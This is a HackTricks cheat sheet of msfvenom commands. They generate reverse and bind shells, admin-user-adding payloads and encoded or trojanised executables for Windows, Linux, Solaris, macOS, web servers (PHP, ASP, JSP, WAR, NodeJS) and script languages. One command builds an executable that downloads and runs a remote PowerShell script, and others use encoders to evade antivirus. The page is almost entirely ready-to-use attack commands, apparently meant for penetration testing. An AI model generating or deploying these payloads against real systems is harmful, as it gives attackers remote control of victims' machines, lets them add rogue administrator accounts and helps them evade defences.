hacktricks/generic-methodologies-and-resources/shells/msfvenom.md

# MSFVenom - CheatSheet

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## Basic msfvenom

`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`

One can also use the `-a` to specify the architecture or the `--platform`

## Listing

```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```

## Common params when creating a shellcode

```bash
-b "\x00\x0a\x0d" 
-f c 
-e x86/shikata_ga_nai -i 5 
EXITFUNC=thread
PrependSetuid=True #Use this to create a shellcode that will execute something with SUID
```

## **Windows**

### **Reverse Shell**

{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
{% endcode %}

### Bind Shell

{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
{% endcode %}

### Create User

{% code overflow="wrap" %}
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
{% endcode %}

### CMD Shell

{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
{% endcode %}

### **Execute Command**

{% code overflow="wrap" %}
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
{% endcode %}

### Encoder

{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
{% endcode %}

### Embedded inside executable

{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/windows-binaries/plink.exe -f exe -o plinkmeter.exe
```
{% endcode %}

## Linux Payloads

### Reverse Shell

{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
{% endcode %}

### Bind Shell

{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
```
{% endcode %}

### SunOS (Solaris)

{% code overflow="wrap" %}
```bash
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
```
{% endcode %}

## **MAC Payloads**

### **Reverse Shell:**

{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
{% endcode %}

### **Bind Shell**

{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
{% endcode %}

## **Web Based Payloads**

### **PHP**

#### Reverse shel**l**

{% code overflow="wrap" %}
```bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
```
{% endcode %}

### ASP/x

#### Reverse shell

{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
```
{% endcode %}

### JSP

#### Reverse shell

{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f raw> reverse.jsp
```
{% endcode %}

### WAR

#### Reverse Shell

{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
{% endcode %}

### NodeJS

```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```

## **Script Language payloads**

### **Perl**

{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
{% endcode %}

### **Python**

{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
{% endcode %}

### **Bash**

{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}

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